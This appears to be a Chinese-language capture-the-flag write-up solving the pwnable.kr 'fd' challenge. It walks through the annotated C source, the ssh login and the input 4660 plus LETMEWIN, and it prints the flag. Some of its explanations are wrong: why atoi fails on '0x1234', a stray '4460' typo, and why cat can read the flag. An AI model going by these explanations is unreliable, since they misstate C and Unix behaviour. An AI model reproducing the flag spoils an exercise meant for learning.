###pwnable.kr–题目一fd
题目来自pwnable.kr的Toddler’s Bottle的第一题fd。
#####根据要求并登录题目系统
在进入到pwnable.kr系统后,第一题为一个名为fd的题目,题目图要求提交一个flag,而flag就保存在提供的系统能。使用ssh登录即可查看到对应目录下的文件。如下
ssh fd@pwnable.kr -p2222
要求输入密码为:guest
登录成功后,即可有一个身份为fd的用户。通过
ls -la
查看当前的文件
fd@ubuntu:~$ ls -la
total 40
drwxr-x--- 5 root fd 4096 Oct 26 2016 .
drwxr-xr-x 93 root root 4096 Oct 10 22:56 ..
d--------- 2 root root 4096 Jun 12 2014 .bash_history
-r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd
-rw-r--r-- 1 root root 418 Jun 11 2014 fd.c
-r--r----- 1 fd_pwn root 50 Jun 11 2014 flag
-rw------- 1 root root 128 Oct 26 2016 .gdb_history
dr-xr-xr-x 2 root root 4096 Dec 19 2016 .irssi
drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache
可以看出来的是,存在了一个fd.c和fd以及flag文件。如果要获取flag,那么需要读取flag文件的内容,但是这个文件的用户不属于当前的用户组,通过id查看当前用户为fd
fd@ubuntu:~$ id
uid=1004(fd) gid=1004(fd) groups=1004(fd)
为了能拿到flag,可以通过fd的可执行文件来获取,在如下的源码中即可知道。
#####分析题目源码
使用cat命令查看fd.c,分析如下
fd@ubuntu:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){//要求传入的参数2是一个数值,不满足则退出
printf("pass argv[1] a number\n");
return 0;
}
//这里to弄过atoi函数将传入的参数2转为一个整数
int fd = atoi( argv[1] ) - 0x1234; //这里要获取一个fd,实际表示一个fiel descriptor对象
//接着计算
int len = 0;//声明一个要使用的长度变量len
//read函数,通过从指定的fd中将数据读取到buf中。这里fd就很关键
//从前面来看,我们没有打开任何一个文件,但是这里却要从一个打开的文件中读取信息,在linux的中
//stdin=0 stdout=1 stderr=2
len = read(fd, buf, 32);
//从读取的buf中得到数据后,将会调用一个strcmp函数,如果buf中的内容和"LETMEWIN\n"相同,
//那么这里的比较值就为0,则将会进入if的判断内,否则就进入到下面的printf("learn about Linux file IO\n")
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
//满足条件后,程序就会调用cat命令将flag的内容
//那么为什么此时的/bin/cat能读取flag文件呢?
//在linux系统的下,/bin/的文件用户组是root
// /pwnable/fd$ ls -la /bin/cat -rwxr-xr-x 1 root root 46884 Mar 10 2016 /bin/cat
system("/bin/cat flag"); //通过系统命令调用读取出flag的内容
exit(0);//程序停止退出
}
//不满足strcmp条件就提示
printf("learn about Linux file IO\n");
return 0;
}
根据上面分析可知,如果我们控制了fd的值,就能获取到正确的flag。
#####获取flag
从上面的分析中,我们知道
int fd = atoi(argv[1]) -0x1234;
如果我们控制了fd=0,我们就能控制了stdin,要想使得strcmp为0,只能通过stdin输入字符串。有了思路我们就直接输入如下命令
./fd 0x1234
得到如下结果
fd@ubuntu:~$ ./fd 0x1234
learn about Linux file IO
//似乎我们输入的值不能使得fd=0,查看atoi函数后发现,再输入数字的时候,不能以0开头,因为字符串遇到了0就结束了
验证如下
fd.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc ,const char* argv[])
{
if(argc<2){
printf("oh\n");
return 0;
}
int fd = atoi(argv[1]) -0x1234;
printf("fd=%d \n",fd);
return 0;
}
gcc -o fd fd.c
loopher@ubuntu:~/pwnable/fd$ ./fd 0x1234
0x1234=4660 //0x1234的十进制值为4660
fd=-4660
最后从新输入值为0x1234 的十进制值4460,得到结果
fd@ubuntu:~$ ./fd 4660
LETMEWIN //输入的LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!
flag:mommy! I think I know what a file descriptor is!!